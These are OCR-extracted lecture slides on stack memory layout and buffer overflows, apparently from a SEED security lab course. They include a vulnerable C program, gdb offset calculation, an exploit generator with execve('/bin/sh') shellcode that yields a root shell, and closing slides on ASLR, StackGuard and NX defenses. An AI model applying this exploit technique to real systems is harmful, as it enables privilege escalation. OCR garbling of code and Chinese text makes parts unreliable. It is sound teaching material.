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Program Memory Layout

Text segment: executable code of
the program

Data segment: static/global
variables that are initialized

BSS: uninitialized static/global
variables

Heap: space for dynamic memory

Stack: local variables, return
address, arguments ...

(High address)

(Low address)

Stack

l
T

Heap

BSS segment

Data segment

Text segment




Program Memory Layout

int x = 100;
int main()

.
// data stored on stack

int a=2;
float b=2.5;

static int y;

// allocate memory on heap

int *ptr = (int *) malloc(2*sizeof (int));
// values 5 and 6 stored on heap
ptr [0]=5;

ptr[1]=6;

// deallocate memory on heap

free(ptr);

return 1;




Stack Layout

Stack (High address)

grows

Value of b

Value of a

— Arguments

Return Address

current  f previous Frame Pointer

Frame — Val P =]
. aiue ol x
Pointer :  Local variables

Value of y
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Stack Layout

When func() is called, a block of
memory will be allocated on top of
the stack.

Arguments: passed to the function.
Reverse order

Return address
Previous stack frame pointer (ebp)

L ocal variables

void func(int a, int b)

{

int

X, ¥V
a + b;
a - b;




Frame Pointer

- Why do we need stack frame pointer: to access local variables
- Local variables: stack frame pointer plus offset

.- Stack frame pointer is set during runtime

movl 12(%ebp) , %eax ; b is stored in Y%ebp + 12
movl 8(%ebp), %edx ; a is stored in Jebp + 8
addl ledx, %eax

movl heax, -8(%ebp) ; X is stored in %ebp - 8

X=a+hb



Previous Frame Pointer

- The frame pointer of previous function is stored on the stack

-  Main -> foo -> bar

Stack (High address)
grows

——

main() =

[

foo() =<

main()’s Frame Pointer |g

V[

Current
«— Frame
Pointer

bar() 4 | foo()’s Frame Pointer
V

—

(Low address)



String Copy

Strepy will stop when it encounters the terminating character \O

#include <string.h>
#include <stdio.h>

void main ()

{
char src[40]="Hello world \O Extra string";
char dest[40];

// copy to dest (destination) from src (source)

strcpy (dest, src);




A Vulnerable Program

- The copied string will overflow the buffer — buffer overflow

void foo(char *str)
{
char buffer[12];
/* The following statement will result in buffer overflow
*/
strcpy (buffer, str);
}
int main()
{
char *str = "This is definitely longer than 12";
foo(str);
return 1;
}




A Vulnerable Program

- Consequence: the buffer will overwrite the return address!

case |: the overwritten return address is invalid -> crash (why?)

Case ll: the overwritten return address is valid but in kernel space

Case lll: the overwritten return address is valid, but points to data

Case |V: the overwritten return address happens to be a valid one

Stack (High address)
Brows

main()
stack
frame

\

str (pointer) 1

Return Address

foo() Previous Frame Pointer
stack 7 |buffer[11]

frame ) 8
buffer(o] :

v -F — — (Low address)




How to Exploit: Vulnerable program

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char #*str)

{
char buffer[100];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str); ® StaC k C
return 1;
i

int main(int argc, char **argv)

char str[400];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof (char), 300, badfile); @
foo(str);

printf ("Returned Properly\n");

return 1;



How to Exploit

Stack before the buffer copy Stack after the buffer copy
Malicious Malicious
Code Code
(Overwrite)
Arguments
Return Address + New Address - New Return Address
Previous Frame Pointer (Overwrite)
<—ebp
buffer[99]
(Overwrite)
buffer[0]
(badfile)




How to Exploit

First, we need to put malicious code into the memory — we put them
into the “badfile”

Second, we need to force the program jump to our code — which has
been copied into the memory. — overwrite the return address



-xperiments: Prepare environment

Download the seedlab ubuntu 16.04 (32 bit vm)

Disable ASLR

$ sudo sysctl -w kernel.randomize_va_space=0



Compile the Vulnerable Program

$ gcc -o stack -z execstack -fno-stack-protector stack.c

$ sudo chown root stack

$ sudo chmod 4755 stack

. -z execstack: make the stack executable, since our shell code will be
on the stack

- -fno-stack-protector: close stack guard

$ echo "aaaa" > badfile

$ ./stack

Returned Properly

$

$ echo "aaa ...(100 characters omitted)... aaa" > badfile
$ ./stack

Segmentation fault (core dumped)



First the address of shell code

- How to find the address of our shell code, which has been copied
iInto the memory (on the stack)

. Option | brute force: 2"32

- Option Il: be smart based on observations

- the stack is usually starting from a fixed location

85/05/19 |seed@VM:~/.../bufferoverflow$ ./prog
:: al's address is Oxbffff310
[05/05/19]]seed@VM:~/. ../bufferoverflow$ ./prog

:: al's address is Oxbffff310
[@5/05/19 |seed@VM:~/ ... /bufferoverflow$ ./prog
:: al's address is @xbffff31e
[85/@5/19]seed@VM:~/ . ../bufferoverflow$




Improving chances of Guessing
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Find the Address Using GDB

$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c

$ touch badfile
$ gdb stack_dbg

GNU gdb (Ubuntu 7.11.1-Oubuntul-16.04) 7.11.1

(gdb) b foo « ZHEK foo() LiZFE—TH 4
Breakpoint 1 at 0x804848a: file stack.c, line 14.

(gdb) run

Breakpoint 1, foo (str=0Oxbfffebic
10 strcpy(buffer, str);
(gdb) p $ebp

$1 = (void *) Oxbfffeaf8

(gdb) p &buffer

$2 = (char (*)[100]) Oxbfffea8c
(gdb) p/d Oxbfffeaf8 - Oxbfffea8c
$3 = 108

(gdb) quit

w...") at stacki.c:10

Ebp = Oxbfffeaf8
Return address =
ebp + 4
First nop: ebp + 8

Buffer to ebp: 108
Buffer to return
address: 108 +4
=112




Construct the input file

Once the input is copied
into buffer, the address of
this position will be
Oxbffff188 + 8

Distance = 112
f 4 \ v
NOP | NOP| ===---- RT |NOP|[---:[ NOP | Malicious Code
| T \
Start of l?uffer:' The value placed here The first possible
On'ce the Inputis will overwrite the entry point for the
copied into buffer, Return Address field malicious code

the memory
address will be
Oxbffffllc



Exploit

#include <stdio.h>
#include <string.h>
char shellcode[]=

"\x31\xc0O" /* xorl heax ,%eax */
"\x50" /* pushl  Jeax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl heax id // C. Place the shellcode towards the end of buffer
"\xG3* /% pushl-  Rebx */ memcpy (buffer + sizeof (buffer) - sizeof (shellcode),
"\x89\xel" /* movl %esp,lecx */ sheliceda
"\x99" /* cdq L sizeof (shellcode));
"\xb0\x0b" /* movb $0x0b,%al */
"\xzcd\x80" /% 1ut 50280 o /* Save the contents to the file "badfile" */
; badfile = fopen("./badfile", "w");

void main(int argc, char **argv) fwrite(buffer, 200, 1, badfile);
( fclose(badfile);

char buffer [200];
FILE *badfile;

/* A. Initialize buffer with 0x90 (NOP instruction) */
memset (&buffer, 0x90, 200);

/* B. Fill the return address field with a candidate
entry point of the malicious code */
*((long *) (buffer + 112)) = Oxbffff188 + 0x80;



Explolt

- First, we do not use Oxbffff188 +8 as the entry point (why?)

- That mean is obtained through gdb, which may be a little different
from real value.

. Second, Oxbffff1888 + nnn cannot contain O

$ rm badfile

$ gcc exploit.c -o exploit

$ ./exploit

$ ./stack

# id <« Got the root shell!

u1id=1000(seed) gid=1000(seed) euid=0(root) groups=0(root), ...



Shellcode

#include <stdio.h>
#include <string.h>
char shellcode[]=

"\x31\xcO" /* xorl heax,’eax */
"\x50" /* pushl heax */
"\x68""//sh" /* pushl $Ox68732f2fF */
"\x68""/bin" /* pushl $0x6e69622fF */
"\x89\xe3" /* movl “esp,lebx */
"\x50" /* pushl heax */
*\x63" /* pushl hebx */
"\x89\xel" /* movl hesp,lecx */
"\x99" /* cdq */
“\xb0\x0b" /* movb $0x0b ,%al */
"\xcd\x80" /% int $0x80 */

- Eax: 11. execve system call number
- Ebx: address of command
- Ecx: address of argv[]. Argv[0] -> “/bin/sh”, argv[1]= 0

. Edx: environment variables. Could be null



Shellcode: Step |

|

|

|

|

|

|

! ‘NOP 11 | eax
ebx I 0

[

|

|

|

|

|

|

//sh J
/bin
esp —»

(a) Set the ebx register

ebx
; //sh
. 0x2000 /bin ‘_ o

‘ 0
— 0x2000 0 | edx

| esp—>

(b) Set the eax, ecx, and edx registers

« xorl Yoeax,%eeax: A%eax M/l XOR IS B AR, ok
FALRTS %

o pushl %eax: WMEJEAFEH, XACEFFE “/bin/sh” LR,

o pushl $0x68732f2f: 41 “//sh” FJEAftkf (WA/F2HT 4 MNFEH
s P/t execve() RGEIH LA —1/5 éLHEE)o

o pushl $0x6e69622f: 1 “/bin” JEAfEH . ILHS, “/bin/sh” LT
FRERHE E ARG, Yoesp FEMIARTI, a2 Ry L B & 4.9
(a) BntRS A FarIRAS .

o movl %esp,%ebx: {{1%esp [N Tebxo KA Tl ILIX AT 247
FFE L PR (72 Yoebx AF (7 h . A ST A o



Shellcode: Step |

$ % 3XE| name[] HARMUE, FFiZ B %ecxe /245 H] name]

AR, BRI ICER . namel0] HR{FRIE “/bin/sh” fiht,

name[1] fEEARAHEET (M) o FRATMEE B FERY 77 2 AR BUX S B iy
Mihko a2, OB ER i EEE . ARG HEIRH GRS
ko

o pushl %eax: & name[] FAAHE NI E. HTFX LR LEFME,
AT A Yoeax FENGXGLE, [FIoNY%eax SRAFAVAIKINES .

o pushl %ebx: #%ebx HEAFH, %ebx H{R{E 745 H “/bin/sh” Y
Mokl tosRiZ ik Rk T name FEHM B — I ICEE. B, 8BS
name AP ESEsEEE, Yesp 18R HEH &t .

o movl Y%esp,%ecx: %esp [ERITAE%eex 1, BlEYeex T (Far 00
{74 name[] B E k. A 4.9 (b) foR.

ebx

esp —»

(a) Set the ebx register

11
0x2000 l—
L 0
0x2000 | 0
esp—>»

(b) Set the eax, ecx, and edx registers

eax

ebx

ecx

edx



Shellcode: Step Il and IV

B=T B%edx I FE . Yoedx A/FAFNIZMILE K . FRATAT LA
XOR Jjitkifas%edx Eifrar, 1EN T 1 FHHAREARE, FATATLL
{EH 75— 1182 “cdq”s XN HEFTHELAHEIE Yedx NE, B4 %eax
HRIAF AL (55 31 A7) #8 D3| %edx 14— L, 1 %eax BIFFF 2R

Em: AR execve() ZREFEA. HH - RABHHTETENNES -
BT’ RG] TR FAEY%eax o execve() HIRGE T H 52 11
(+753Edl A 0x0b) » 354 “movb $0x0b,%al” #t%al X B 11 (%al
K oeax A fFar UMK 8 AL, Yoeax HyHAWALFAE xor FAERHOILNE) o 15
2 “int $0x80” B TIZ ARG MM . 154 int FoAHFW. — WSt
AT AL PR . AE Linux 5, “int $0x80” thllr FECR G VI3 N #%
A, HBITHMAREACIERE R, taltE RGE A TRFE Y o Z AL >R 5k
MAGH . B 4.9 (b) BIx RGP T Z AR S F IR




Defenses

Secure library with safer functions

Strepy -> strnepy, Sprintf -> snprintf
Safer dynamic link library:libsafe
Static analysis
Compiler:

stack shield — shadow stack, Stack Guard
OS: ASLR

Hardware: NX bit — non executable stack




ASLR

#include <stdio.h>
#include <stdlib.h>

void main()

{

char x[12];
char *y = malloc(sizeof (char)=*12);

printf ("Address of buffer x (omn stack): Ox¥%x\n", x);

printf ("Address of buffer y (on heap) : Ox%x\n", y);

kernel .randomize_va_space = 0

e

$ a.out
Address
Address
$ a.out
Address
Address

of buffer x (on stack):
of buffer y (on heap)

of buffer x (on stack):
of buffer y (on heap)

Oxbffff370
0x804b008

Oxbffff370
0x804b008

Address of buffer x (on stack):

Address of buffer y (on heap)

0xbf8c49d0
0x804b008

$ (*x@\textbf{sudo sysctl -w kernel.randomize\_va\_space=2}@x)

kernel .randomize_va_space = 2

$ a.out

Address of buffer x (on stack): 0xbf9c76£f0
Address of buffer y (on heap) 0x87e6008

$ a.out

Address of buffer x (on stack): O0xbfe69700
Address of buffer y (on heap) 0xa020008

$ (*@\textbf{sudo sysctl -w kernel.randomize\_va\_space=1}@%)

kernel.randomize_va_space = 1
$ a.out
Address of buffer x (on stack):

Address

$ a.out

of buffer y (on heap)

0xbf9debl0
0x804b008




ASLR: brute force

- Entropy: 32bit machine, stack 19 bits, heap 13 bits

- Brute force




Stack Guard

Stack (High address)
grows ¥ // This global variable will be initialized with a random
Return Address // number in the main function.
int secret;
g {
S
o int guard;
buffer(11] &
: a guard = secret;
buffer[0] char buffer[12];

’ (Low address) strcpy (buffer, str);

if (guard == secret)
return;

else
exit (1) ;




Stack Guard:

.- Canary should be random
. /dev/urandom
- The canary value should not be on the stack

. (s section -- TLS




